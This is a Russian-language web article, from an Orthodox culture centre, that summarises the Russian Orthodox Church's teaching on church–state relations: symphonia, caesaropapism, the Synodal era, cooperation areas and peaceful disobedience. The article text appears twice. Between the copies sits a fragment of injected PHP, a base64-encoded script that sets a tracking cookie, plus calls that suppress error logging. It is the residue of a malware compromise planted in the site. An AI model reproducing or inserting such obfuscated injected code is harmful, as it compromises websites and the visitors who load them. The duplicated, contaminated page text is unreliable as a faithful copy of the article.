Церковь и государство: вражда или сотрудничество

Как отдать «кесарю – кесарево, а Божие – Богу».
 
Отношения Христианской Церкви и государства (государств) за двухтысячелетнюю историю их сосуществования на земле были очень непростыми. Теория симфонии Церкви и государства, которая формулирует принципы их гармоничного сосуществования, практически никогда не была реализована на практике. Разве что во времена императора Юстиниана Великого, который прославлен Церковью в лике благоверных правителей и который, собственно, эту теорию и сформулировал. В остальные исторические периоды государство, то пыталось уничтожить Церковь, то душило ее в своих объятиях. И неизвестно еще, что является более вредным для Церкви. Принципы взаимоотношения Церкви с государством формулируются в Третьем разделе Основ социальной концепции Русской Православной Церкви.
 
Церковь и государство имеют разную природу. Церковь не от мира сего, а государство – от мира. Церковь это богочеловеческий организм, глава которого – Христос, Превечный Бог. Государство же является институтом, существование которого обусловлено грехопадением. «Государство как необходимый элемент жизни в испорченном грехом мире, где личность и общество нуждаются в ограждении от опасных проявлений греха, благословляется Богом. В то же время необходимость государства вытекает не непосредственно из воли Божией о первозданном Адаме, но из последствий грехопадения и из согласия действий по ограничению господства греха в мире с Его волей» (Р.III.2. Основ).
 
Церковь и государство имеют различные цели своего существования. Церковь соединяет людей со Христом, а государство призвано человеческими средствами противодействовать распространению греха в мире. Иными словами, государство не может сделать человека лучшим, более близким к Богу, но оно пытается его удержать от превращения в зверя, страхом наказания.
 
Церковь и государство используют различные методы для достижения своих целей. «Государство опирается в основном на материальную силу, включая силу принуждения, а также на соответствующие светские системы идей. Церковь же располагает религиозно-нравственными средствами для духовного руководства пасомыми и для приобретения новых чад».
 
Несмотря на все различия, Церковь и государство вместе присутствуют в одной и той же земной реальности. «Церковь как богочеловеческий организм имеет не только таинственную сущность, неподвластную стихиям мира, но и историческую составляющую, входящую в соприкосновение и взаимодействие с внешним миром, в том числе с государством. Государство, которое существует для устроения мирской жизни, также соприкасается и взаимодействует с Церковью» (Р.III.5. Основ).
 
Это взаимодействие Церкви и государства может быть взаимовыгодным. В этом случает между ними складываются гармоничные отношения, что называется в богословко-исторической науке «симфонией». Теория симфонии Церкви и государства была сформулирована императором Юстинианом. В переложении на современные понятия и термины, она звучит так: «Суть ее составляет обоюдное сотрудничество, взаимная поддержка и взаимная ответственность, без вторжения одной стороны в сферу исключительной компетенции другой. Епископ подчиняется государственной власти как подданный, а не потому, что епископская власть его исходит от представителя государственной власти. Точно так же и представитель государственной власти повинуется епископу как член Церкви, ищущий в ней спасения, а не потому, что власть его происходит от власти епископа» (Р.III.4. Основ).
 
От этого идеала церковно-государственных взаимоотношений существуют разные отклонения, крайние из который это папоцезаризм и цезарепапизм. Папоцезаризм называется доктрина, которая сложилась на Средневековом Западе. Это «доктрина «двух мечей», согласно которой обе власти, церковная и государственная, одна непосредственно, а другая опосредованно, восходят к Римскому епископу». (Р.III.4. Основ). Соответственно государственная власть передается римским понтификом в руки того правителя, которого папа посчитает достойным этого. Но при этом папа, как дал кому-либо этот «меч государственной власти», так может его и забрать. Папа также является последней инстанцией при решении государственных вопросов.
 
Цезарепапизм более присущ православным странам. Суть его «заключалась в том, что глава государства, император, претендовал на решающее слово в устроении церковных дел» (Р.III.4. Основ). Тенденция цезарепапизма начала проявляться еще во времена святого равноапостольного Константина Великого, который созвал Первый Вселенский собор 325 года в Никее. Император Константин был мудрым правителем и он, собрав Собор, предоставил епископам самими решать церковные вопросы. Но другие императоры часто в них вмешивались. И если император при этом был православным, это было еще полбеды. «Всего откровенней и опасней для Церкви цезарепапистская тенденция обнаруживалась в политике императоров-еретиков, в особенности в иконоборческую эпоху» (Р.III.4. Основ).
 
На Руси взаимоотношения Церкви и государства также далеко не всегда были гладкими. Основы социальной концепции не стремятся что-либо замолчать или приукрасить, в том числе и историю Русской Церкви. Упоминается и противостояние царя Иоанна Грозного с митрополитом Московским и всея Руси Филиппом в XVI-м веке и противостояние царя Алексея Михайловича с патриархом Никоном в XVII-м. Особенной критики удостоился Синодальный период РПЦ длившийся с 1700 по 1917 год. «Что касается Синодальной эпохи, то несомненное искажение симфонической нормы в течение двух столетий церковной истории связано с ясно прослеживаемым влиянием протестантской доктрины территориализма и государственной церковности на российское правосознание и политическую жизнь» (Р.III.4. Основ). Как известно протестантская доктрина кратко описывается выражением «чья власть, того и вера» (cujus est regio, illius est religio – лат.) и предполагает полное доминирование государственной власти над религиозной. В нашей стране это искажение с наибольшей яркостью демонстрируется текстом присяги членов Святейшего Синода, главного органа управления Русской Церковью, которую они приносили вплоть до 1901 года: «Исповедую же с клятвою крайняго Судию Духовныя сея Коллегии (Синода – ред.) быти Самаго Всероссийскаго Монарха Государя нашего всемилостивейшаго». Слава Богу, что тогдашним государям хватало ума не вмешиваться в догматическое или нравственное учение Церкви, ограничиваясь вмешательством преимущественно в кадровые и административные вопросы: какого архиерея на какую епархию назначить и какой монастырь открыть или закрыть. Страшно представить, что бы наизменяли в Церкви современные правители, окажись они в статусе «крайнего Судии».
 
Большинство православных сегодня проживают в государствах, которые на уровне конституций закрепили свой светский характер. В таких странах Церковь отделена от государства, хотя и может выполнять некоторые государственные функции. Например, регистрация браков или некоторые виды социальной помощи. «Нельзя понимать принцип светскости государства как означающий радикальное вытеснение религии из всех сфер жизни народа, отстранение религиозных объединений от участия в решении общественно значимых задач, лишение их права давать оценку действиям властей. Этот принцип предполагает лишь известное разделение сфер компетенции Церкви и власти, невмешательство их во внутренние дела друг друга» (Р.III.4. Основ).
 
На вопрос о том, что составляет исключительную компетенцию Церкви, а что государства, Основы социальной концепции дают следующий ответ: исключительную компетенцию государства составляют все вопросы, связанные и применением легитимного насилия и принуждения со стороны властей. Это охрана конституционных прав и свобод граждан, наказание преступников, взимание налогов и так далее. Исключительную компетенцию Церкви составляют вопросы ее внутреннего управления, вероучение, литургическая жизнь, духовническая практика и тому подобное.
 
Основы социальной концепции устанавливают для Церкви ограничения, называя те сферы, в которые Церковь и ее священнослужители не могут вмешиваться или принимать в этом участие. «Это:
 
а) политическая борьба, предвыборная агитация, кампании в поддержку тех или иных политических партий, общественных и политических лидеров;
 
б) ведение гражданской войны или агрессивной внешней войны;
 
в) непосредственное участие в разведывательной и любой иной деятельности, требующей в соответствии с государственным законом сохранения тайны даже на исповеди и при докладе церковному Священноначалию» (Р.III.8. Основ).
 
Однако существует много сфер, в которых Церковь и государство могут плодотворно сотрудничать. «Областями соработничества Церкви и государства в нынешний исторический период являются:
 
а) миротворчество на международном, межэтническом и гражданском уровнях, содействие взаимопониманию и сотрудничеству между людьми, народами и государствами;
 
б) забота о сохранении нравственности в обществе;
 
в) духовное, культурное, нравственное и патриотическое образование и воспитание;
 
г) дела милосердия и благотворительности, развитие совместных социальных программ;
 
д) охрана, восстановление и развитие исторического и культурного наследия, включая заботу об охране памятников истории и культуры;
 
е) диалог с органами государственной власти любых ветвей и уровней по вопросам, значимым для Церкви и общества, в том числе в связи с выработкой соответствующих законов, подзаконных актов, распоряжений и решений;
 
ж) попечение о воинах и сотрудниках правоохранительных учреждений, их духовно-нравственное воспитание;
 
з) труды по профилактике правонарушений, попечение о лицах, находящихся в местах лишения свободы;
 
и) наука, включая гуманитарные исследования;
 
к) здравоохранение;
 
л) культура и творческая деятельность;
 
м) работа церковных и светских средств массовой информации;
 
н) деятельность по сохранению окружающей среды;
 
о) экономическая деятельность на пользу Церкви, государства и общества;
 
п) поддержка института семьи, материнства и детства;
 
р) противодействие деятельности псевдорелигиозных структур, представляющих опасность для личности и общества» (Р.III.8. Основ).
 
Вероятно, самым насущным и важным вопросом, волнующим каждого члена Церкви, является вопрос о том, во всем ли нужно подчинятся государству? Сам Господь, воплотившись, подчинил себя земному порядку вещей. Он соблюдал законы государства в котором жил и подчинялся носителям государственной власти. Призывал к подчинению государственной власти и апостол
 
Павел: «Всякая душа да будет покорна высшим властям; ибо нет власти не от Бога, существующие же власти от Бога установлены. Посему противящийся власти противится Божию установлению; а противящиеся сами навлекут на себя осуждение. Ибо начальствующие страшны не для добрых дел, но для злых. Хочешь ли не бояться власти? Делай добро, и получишь похвалу от нее; ибо начальник есть Божий слуга, тебе на добро. Если же делаешь зло, бойся, ибо он не напрасно носит меч: он Божий слуга, отмститель в наказание делающему злое. И потому надобно повиноваться не только из страха наказания, но и по совести. Для сего вы и подати платите, ибо они Божии служители, сим самым постоянно занятые. Итак отдавайте всякому должное: кому подать, подать; кому оброк, оброк; кому страх, страх; кому честь, честь» (Рим. 13, 1-7).
 
Однако Основы социальной концепции говорят о том, что в определенных обстоятельствах Церковь может отказать государству в повиновении. Заявление о такой возможности, а тем более подтверждение ее авторитетом Архиерейского Собора явилось очень неожиданным для тех кто привык к тому, что на Руси Церковь всегда подчиняется государству. «Церковь сохраняет лояльность государству, но выше требования лояльности стоит Божественная заповедь: совершать дело спасения людей в любых условиях и при любых обстоятельствах. Если власть принуждает православных верующих к отступлению от Христа и Его Церкви, а также к греховным, душевредным деяниям, Церковь должна отказать государству в повиновении. Христианин, следуя велению совести, может не исполнить повеления власти, понуждающего к тяжкому греху» (Р.III.5. Основ). И это не является простой декларацией. Основы социальной концепции предусматривают ряд шагов, которые может предпринять Церковь в случае, если государство будет вести себя подобным образом. «В случае невозможности повиновения государственным законам и распоряжениям власти со стороны церковной Полноты, церковное Священноначалие по должном рассмотрении вопроса может предпринять следующие действия: вступить в прямой диалог с властью по возникшей проблеме; призвать народ применить механизмы народовластия для изменения законодательства или пересмотра решения власти; обратиться в международные инстанции и к мировому общественному мнению; обратиться к своим чадам с призывом к мирному гражданскому неповиновению» (Р.III.5. Основ). При этом стоит еще раз напомнить: Церковь не рассматривает для себя возможным участие в гражданской войне или иных действиях связанных с насилием. Ее протест может быть исключительно мирным.
 
Церковь оставила за собой право оказать неповиновение государству про возникновении конфликтов в будущем, но есть моменты против которых Церковь протестует уже сейчас. «Церковь должна указывать государству на недопустимость распространения убеждений или действий, ведущих к установлению всецелого контроля за жизнью личности, ее убеждениями и отношениями с другими людьми, а также к разрушению личной, семейной или общественной нравственности, оскорблению религиозных чувств, нанесению ущерба культурно-духовной самобытности народа или возникновению угрозы священному дару жизни» (Р.III.5. Основ). Под этими формулировками понимается недопустимость тотального контроля за человеком посредством цифровых технологий идентификации личности, его местонахождения, деятельности, покупок и так далее; недопустимость пропаганды разврата, алкоголизма и наркомании; недопустимость гей-парадов и узаконивания извращенных форм сожительства; недопустимость абортов и эвтаназии.
 
Заканчивается Раздел «Церковь и государство» Основ социальной концепции установлением механизма коммуникации церковных учреждений со светскими властями. Этот механизм предусматривает обязательное участие священноначалия в подобных контактах. «Святые каноны воспрещают священнослужителям обращаться к государственной власти без дозволения церковного начальства. <…> Контакты и взаимодействие Церкви с высшими органами государственной власти осуществляются Патриархом и Священным Синодом непосредственно или через представителей, имеющих письменно подтвержденные полномочия. Контакты и взаимодействие с региональными органами власти осуществляются епархиальными Преосвященными непосредственно или через представителей, также имеющих письменно подтвержденные полномочия. Контакты и взаимодействие с местными органами власти и самоуправления осуществляются благочиниями и приходами по благословению епархиальных Преосвященных» (Р.III.10. Основ).
 
Следующий Раздел Основ социальной концепции РПЦ посвящен проблемам церковной этики и светского права.
Раздел: 
aG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsNCiB9DQoNCiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*457563643*/ ?> Церковь и государство: вражда или сотрудничество | Центр православной культуры Лествица

Церковь и государство: вражда или сотрудничество

Как отдать «кесарю – кесарево, а Божие – Богу».
 
Отношения Христианской Церкви и государства (государств) за двухтысячелетнюю историю их сосуществования на земле были очень непростыми. Теория симфонии Церкви и государства, которая формулирует принципы их гармоничного сосуществования, практически никогда не была реализована на практике. Разве что во времена императора Юстиниана Великого, который прославлен Церковью в лике благоверных правителей и который, собственно, эту теорию и сформулировал. В остальные исторические периоды государство, то пыталось уничтожить Церковь, то душило ее в своих объятиях. И неизвестно еще, что является более вредным для Церкви. Принципы взаимоотношения Церкви с государством формулируются в Третьем разделе Основ социальной концепции Русской Православной Церкви.
 
Церковь и государство имеют разную природу. Церковь не от мира сего, а государство – от мира. Церковь это богочеловеческий организм, глава которого – Христос, Превечный Бог. Государство же является институтом, существование которого обусловлено грехопадением. «Государство как необходимый элемент жизни в испорченном грехом мире, где личность и общество нуждаются в ограждении от опасных проявлений греха, благословляется Богом. В то же время необходимость государства вытекает не непосредственно из воли Божией о первозданном Адаме, но из последствий грехопадения и из согласия действий по ограничению господства греха в мире с Его волей» (Р.III.2. Основ).
 
Церковь и государство имеют различные цели своего существования. Церковь соединяет людей со Христом, а государство призвано человеческими средствами противодействовать распространению греха в мире. Иными словами, государство не может сделать человека лучшим, более близким к Богу, но оно пытается его удержать от превращения в зверя, страхом наказания.
 
Церковь и государство используют различные методы для достижения своих целей. «Государство опирается в основном на материальную силу, включая силу принуждения, а также на соответствующие светские системы идей. Церковь же располагает религиозно-нравственными средствами для духовного руководства пасомыми и для приобретения новых чад».
 
Несмотря на все различия, Церковь и государство вместе присутствуют в одной и той же земной реальности. «Церковь как богочеловеческий организм имеет не только таинственную сущность, неподвластную стихиям мира, но и историческую составляющую, входящую в соприкосновение и взаимодействие с внешним миром, в том числе с государством. Государство, которое существует для устроения мирской жизни, также соприкасается и взаимодействует с Церковью» (Р.III.5. Основ).
 
Это взаимодействие Церкви и государства может быть взаимовыгодным. В этом случает между ними складываются гармоничные отношения, что называется в богословко-исторической науке «симфонией». Теория симфонии Церкви и государства была сформулирована императором Юстинианом. В переложении на современные понятия и термины, она звучит так: «Суть ее составляет обоюдное сотрудничество, взаимная поддержка и взаимная ответственность, без вторжения одной стороны в сферу исключительной компетенции другой. Епископ подчиняется государственной власти как подданный, а не потому, что епископская власть его исходит от представителя государственной власти. Точно так же и представитель государственной власти повинуется епископу как член Церкви, ищущий в ней спасения, а не потому, что власть его происходит от власти епископа» (Р.III.4. Основ).
 
От этого идеала церковно-государственных взаимоотношений существуют разные отклонения, крайние из который это папоцезаризм и цезарепапизм. Папоцезаризм называется доктрина, которая сложилась на Средневековом Западе. Это «доктрина «двух мечей», согласно которой обе власти, церковная и государственная, одна непосредственно, а другая опосредованно, восходят к Римскому епископу». (Р.III.4. Основ). Соответственно государственная власть передается римским понтификом в руки того правителя, которого папа посчитает достойным этого. Но при этом папа, как дал кому-либо этот «меч государственной власти», так может его и забрать. Папа также является последней инстанцией при решении государственных вопросов.
 
Цезарепапизм более присущ православным странам. Суть его «заключалась в том, что глава государства, император, претендовал на решающее слово в устроении церковных дел» (Р.III.4. Основ). Тенденция цезарепапизма начала проявляться еще во времена святого равноапостольного Константина Великого, который созвал Первый Вселенский собор 325 года в Никее. Император Константин был мудрым правителем и он, собрав Собор, предоставил епископам самими решать церковные вопросы. Но другие императоры часто в них вмешивались. И если император при этом был православным, это было еще полбеды. «Всего откровенней и опасней для Церкви цезарепапистская тенденция обнаруживалась в политике императоров-еретиков, в особенности в иконоборческую эпоху» (Р.III.4. Основ).
 
На Руси взаимоотношения Церкви и государства также далеко не всегда были гладкими. Основы социальной концепции не стремятся что-либо замолчать или приукрасить, в том числе и историю Русской Церкви. Упоминается и противостояние царя Иоанна Грозного с митрополитом Московским и всея Руси Филиппом в XVI-м веке и противостояние царя Алексея Михайловича с патриархом Никоном в XVII-м. Особенной критики удостоился Синодальный период РПЦ длившийся с 1700 по 1917 год. «Что касается Синодальной эпохи, то несомненное искажение симфонической нормы в течение двух столетий церковной истории связано с ясно прослеживаемым влиянием протестантской доктрины территориализма и государственной церковности на российское правосознание и политическую жизнь» (Р.III.4. Основ). Как известно протестантская доктрина кратко описывается выражением «чья власть, того и вера» (cujus est regio, illius est religio – лат.) и предполагает полное доминирование государственной власти над религиозной. В нашей стране это искажение с наибольшей яркостью демонстрируется текстом присяги членов Святейшего Синода, главного органа управления Русской Церковью, которую они приносили вплоть до 1901 года: «Исповедую же с клятвою крайняго Судию Духовныя сея Коллегии (Синода – ред.) быти Самаго Всероссийскаго Монарха Государя нашего всемилостивейшаго». Слава Богу, что тогдашним государям хватало ума не вмешиваться в догматическое или нравственное учение Церкви, ограничиваясь вмешательством преимущественно в кадровые и административные вопросы: какого архиерея на какую епархию назначить и какой монастырь открыть или закрыть. Страшно представить, что бы наизменяли в Церкви современные правители, окажись они в статусе «крайнего Судии».
 
Большинство православных сегодня проживают в государствах, которые на уровне конституций закрепили свой светский характер. В таких странах Церковь отделена от государства, хотя и может выполнять некоторые государственные функции. Например, регистрация браков или некоторые виды социальной помощи. «Нельзя понимать принцип светскости государства как означающий радикальное вытеснение религии из всех сфер жизни народа, отстранение религиозных объединений от участия в решении общественно значимых задач, лишение их права давать оценку действиям властей. Этот принцип предполагает лишь известное разделение сфер компетенции Церкви и власти, невмешательство их во внутренние дела друг друга» (Р.III.4. Основ).
 
На вопрос о том, что составляет исключительную компетенцию Церкви, а что государства, Основы социальной концепции дают следующий ответ: исключительную компетенцию государства составляют все вопросы, связанные и применением легитимного насилия и принуждения со стороны властей. Это охрана конституционных прав и свобод граждан, наказание преступников, взимание налогов и так далее. Исключительную компетенцию Церкви составляют вопросы ее внутреннего управления, вероучение, литургическая жизнь, духовническая практика и тому подобное.
 
Основы социальной концепции устанавливают для Церкви ограничения, называя те сферы, в которые Церковь и ее священнослужители не могут вмешиваться или принимать в этом участие. «Это:
 
а) политическая борьба, предвыборная агитация, кампании в поддержку тех или иных политических партий, общественных и политических лидеров;
 
б) ведение гражданской войны или агрессивной внешней войны;
 
в) непосредственное участие в разведывательной и любой иной деятельности, требующей в соответствии с государственным законом сохранения тайны даже на исповеди и при докладе церковному Священноначалию» (Р.III.8. Основ).
 
Однако существует много сфер, в которых Церковь и государство могут плодотворно сотрудничать. «Областями соработничества Церкви и государства в нынешний исторический период являются:
 
а) миротворчество на международном, межэтническом и гражданском уровнях, содействие взаимопониманию и сотрудничеству между людьми, народами и государствами;
 
б) забота о сохранении нравственности в обществе;
 
в) духовное, культурное, нравственное и патриотическое образование и воспитание;
 
г) дела милосердия и благотворительности, развитие совместных социальных программ;
 
д) охрана, восстановление и развитие исторического и культурного наследия, включая заботу об охране памятников истории и культуры;
 
е) диалог с органами государственной власти любых ветвей и уровней по вопросам, значимым для Церкви и общества, в том числе в связи с выработкой соответствующих законов, подзаконных актов, распоряжений и решений;
 
ж) попечение о воинах и сотрудниках правоохранительных учреждений, их духовно-нравственное воспитание;
 
з) труды по профилактике правонарушений, попечение о лицах, находящихся в местах лишения свободы;
 
и) наука, включая гуманитарные исследования;
 
к) здравоохранение;
 
л) культура и творческая деятельность;
 
м) работа церковных и светских средств массовой информации;
 
н) деятельность по сохранению окружающей среды;
 
о) экономическая деятельность на пользу Церкви, государства и общества;
 
п) поддержка института семьи, материнства и детства;
 
р) противодействие деятельности псевдорелигиозных структур, представляющих опасность для личности и общества» (Р.III.8. Основ).
 
Вероятно, самым насущным и важным вопросом, волнующим каждого члена Церкви, является вопрос о том, во всем ли нужно подчинятся государству? Сам Господь, воплотившись, подчинил себя земному порядку вещей. Он соблюдал законы государства в котором жил и подчинялся носителям государственной власти. Призывал к подчинению государственной власти и апостол
 
Павел: «Всякая душа да будет покорна высшим властям; ибо нет власти не от Бога, существующие же власти от Бога установлены. Посему противящийся власти противится Божию установлению; а противящиеся сами навлекут на себя осуждение. Ибо начальствующие страшны не для добрых дел, но для злых. Хочешь ли не бояться власти? Делай добро, и получишь похвалу от нее; ибо начальник есть Божий слуга, тебе на добро. Если же делаешь зло, бойся, ибо он не напрасно носит меч: он Божий слуга, отмститель в наказание делающему злое. И потому надобно повиноваться не только из страха наказания, но и по совести. Для сего вы и подати платите, ибо они Божии служители, сим самым постоянно занятые. Итак отдавайте всякому должное: кому подать, подать; кому оброк, оброк; кому страх, страх; кому честь, честь» (Рим. 13, 1-7).
 
Однако Основы социальной концепции говорят о том, что в определенных обстоятельствах Церковь может отказать государству в повиновении. Заявление о такой возможности, а тем более подтверждение ее авторитетом Архиерейского Собора явилось очень неожиданным для тех кто привык к тому, что на Руси Церковь всегда подчиняется государству. «Церковь сохраняет лояльность государству, но выше требования лояльности стоит Божественная заповедь: совершать дело спасения людей в любых условиях и при любых обстоятельствах. Если власть принуждает православных верующих к отступлению от Христа и Его Церкви, а также к греховным, душевредным деяниям, Церковь должна отказать государству в повиновении. Христианин, следуя велению совести, может не исполнить повеления власти, понуждающего к тяжкому греху» (Р.III.5. Основ). И это не является простой декларацией. Основы социальной концепции предусматривают ряд шагов, которые может предпринять Церковь в случае, если государство будет вести себя подобным образом. «В случае невозможности повиновения государственным законам и распоряжениям власти со стороны церковной Полноты, церковное Священноначалие по должном рассмотрении вопроса может предпринять следующие действия: вступить в прямой диалог с властью по возникшей проблеме; призвать народ применить механизмы народовластия для изменения законодательства или пересмотра решения власти; обратиться в международные инстанции и к мировому общественному мнению; обратиться к своим чадам с призывом к мирному гражданскому неповиновению» (Р.III.5. Основ). При этом стоит еще раз напомнить: Церковь не рассматривает для себя возможным участие в гражданской войне или иных действиях связанных с насилием. Ее протест может быть исключительно мирным.
 
Церковь оставила за собой право оказать неповиновение государству про возникновении конфликтов в будущем, но есть моменты против которых Церковь протестует уже сейчас. «Церковь должна указывать государству на недопустимость распространения убеждений или действий, ведущих к установлению всецелого контроля за жизнью личности, ее убеждениями и отношениями с другими людьми, а также к разрушению личной, семейной или общественной нравственности, оскорблению религиозных чувств, нанесению ущерба культурно-духовной самобытности народа или возникновению угрозы священному дару жизни» (Р.III.5. Основ). Под этими формулировками понимается недопустимость тотального контроля за человеком посредством цифровых технологий идентификации личности, его местонахождения, деятельности, покупок и так далее; недопустимость пропаганды разврата, алкоголизма и наркомании; недопустимость гей-парадов и узаконивания извращенных форм сожительства; недопустимость абортов и эвтаназии.
 
Заканчивается Раздел «Церковь и государство» Основ социальной концепции установлением механизма коммуникации церковных учреждений со светскими властями. Этот механизм предусматривает обязательное участие священноначалия в подобных контактах. «Святые каноны воспрещают священнослужителям обращаться к государственной власти без дозволения церковного начальства. <…> Контакты и взаимодействие Церкви с высшими органами государственной власти осуществляются Патриархом и Священным Синодом непосредственно или через представителей, имеющих письменно подтвержденные полномочия. Контакты и взаимодействие с региональными органами власти осуществляются епархиальными Преосвященными непосредственно или через представителей, также имеющих письменно подтвержденные полномочия. Контакты и взаимодействие с местными органами власти и самоуправления осуществляются благочиниями и приходами по благословению епархиальных Преосвященных» (Р.III.10. Основ).
 
Следующий Раздел Основ социальной концепции РПЦ посвящен проблемам церковной этики и светского права.
Раздел: